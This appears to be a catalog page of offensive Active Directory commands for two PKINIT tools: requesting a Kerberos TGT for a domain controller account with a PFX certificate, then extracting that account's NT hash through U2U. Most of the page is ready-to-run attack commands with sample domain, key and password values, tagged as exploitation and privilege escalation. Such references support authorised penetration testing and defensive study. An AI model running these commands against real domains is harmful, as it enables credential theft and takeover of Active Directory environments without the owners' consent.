DΛΣMӨП

Catalog WADComs

WAD · Tool

PKINIT

2 techniques Linux · Windows · ActiveDirectoryWADComs GPL-3.0

PKINIT-getnthash

ExecutionPrivilege Escalation LinuxWindowsActiveDirectory

PKINIT getnthash.py request a TGS for yourself using Kerberos U2U. This will include with the PAC which in turn contains the NT hash that you can decrypt with the AS-REP key that you got from your TGT request using gettgtpkinit.py from PKINIT. Use the TGT from gettgtpkinit.py in your KRB5CCNAME env variable. Command Reference: Domain: test.local Host that you got the TGT from: DC01 TGT from gettgtpkinit.py: out.ccache AS-REP key: 6e63333c372d7fbe64dab63f36673d0cd03bfb92b2a6c96e70070be7cb07f773 

KRB5CCNAME=out.ccache python3 getnthash.py test.local/DC01\$ -key 6e63333c372d7fbe64dab63f36673d0cd03bfb92b2a6c96e70070be7cb07f773
Native
Exploitation, PrivEsc
Requires
TGT
Services
Kerberos

PKINIT-gettgtpkinit

ExecutionPrivilege Escalation LinuxWindowsActiveDirectory

PKINIT gettgtpkinit.py request a TGT using a PFX file, either as file or as base64 encoded blob, or PEM files for cert+key. This uses Kerberos PKINIT and will output a TGT into the specified ccache. It will also print the AS-REP encryption key which you may need for the getnthash.py tool. Command Reference: Domain: test.local Host that you got the certificate from: DC01 PFX file: crt.pfx PFX file password: password123 TGT requested: out.ccache 

python3 gettgtpkinit.py test.local/DC01\$ -cert-pfx crt.pfx -pfx-pass password123 out.ccache
Native
Exploitation, PrivEsc
Requires
Username, Password, PFX
Services
Kerberos